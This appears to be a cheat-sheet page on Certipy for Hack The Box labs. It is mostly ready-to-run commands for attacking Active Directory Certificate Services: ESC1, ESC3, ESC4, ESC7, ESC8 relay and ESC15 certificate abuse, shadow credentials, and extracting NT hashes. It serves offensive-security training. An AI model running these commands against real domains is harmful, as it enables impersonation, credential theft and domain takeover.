Certipy
Certipy finds misconfigured templates and CAs (find -vulnerable tells you which ESC applies), requests certificates on behalf of other users and turns them into their NT hash with PKINIT. It also does shadow credentials in a single command.
- Platform
- Linux (Python)
- Official site
- github.com/ly4k/Certipy
- On HTB
- 12 machines
Install
pipx install certipy-ad
- T1649 Steal or Forge Authentication Certificates
- T1098 Account Manipulation
- ADCS (certificates)
- Shadow Credentials
Certipy cheat sheet
Your values
Saved in this browser and applied to every cheatsheet.
When PKINIT does not work
LDAP shell authenticated with the certificate
certipy auth -pfx administrator.pfx -dc-ip 10.10.11.20 -ldap-shell
If the DC does not support PKINIT (KDC_ERR_PADATA_TYPE_NOSUPP), log in over LDAPS with Schannel and change a password or set up RBCD from there.
In our cheatsheets
Windows and Active Directory privilege escalation › Active Directory
Vulnerable certificate templates (ADCS)
certipy-ad find -u '[email protected]' -p 'Password123!' -dc-ip 10.10.11.20 -vulnerable -stdout
Active Directory in depth › ADCS (ESC1–16)
Certipy scan (names the ESC)
Attacker
certipy find -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -vulnerable -stdout
Request the certificate with another SAN
Attacker
certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template VulnTemplate -upn [email protected]
Authenticate with the cert and get the NT hash
Attacker
certipy auth -pfx administrator.pfx -dc-ip 10.10.11.20
ESC3: request an agent cert and, with it, one on behalf of another
Attacker
certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template EnrollmentAgent
certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template User -on-behalf-of 'box.htb\administrator' -pfx agent.pfx
Make it vulnerable and restore it
Attacker
certipy template -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -template VulnTemplate -write-default-configuration
ESC7: grant yourself Manage Certificates and approve your own request
Attacker
certipy ca -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -add-officer usuario
Relay to the CA and get a machine cert
Attacker
certipy relay -target 'http://ca.box.htb/certsrv/certfnsh.asp' -template DomainController
Change the UPN of a user you control and request the cert as them
Attacker
certipy account update -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -user victima -upn [email protected]
ESC15: application policy with client-auth EKU
Attacker
certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template WebServer -application-policies 'Client Authentication'
Active Directory in depth › Delegation
Add a key and get the NT hash with certipy
Attacker
certipy shadow auto -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -account victima
No command matches.
HTB machines where Certipy is used
Taken from the chapters of IppSec videos where Certipy shows up. The ▶ link jumps to the minute of that part.
Guides that use Certipy
- ADCS with Certipy: from a vulnerable certificate template to Domain Admin (ESC1 to ESC16) 4 min read Find vulnerable ADCS templates and CAs with Certipy and exploit ESC1, ESC4, ESC7, ESC8, ESC9 and ESC16, with the typical error for each case.
- Active Directory ACL abuse: GenericAll, WriteDacl, Shadow Credentials and DCSync 4 min read What to do with each BloodHound edge: reset passwords, add yourself to groups, Shadow Credentials, grant yourself DCSync with WriteDacl, read LAPS or gMSA.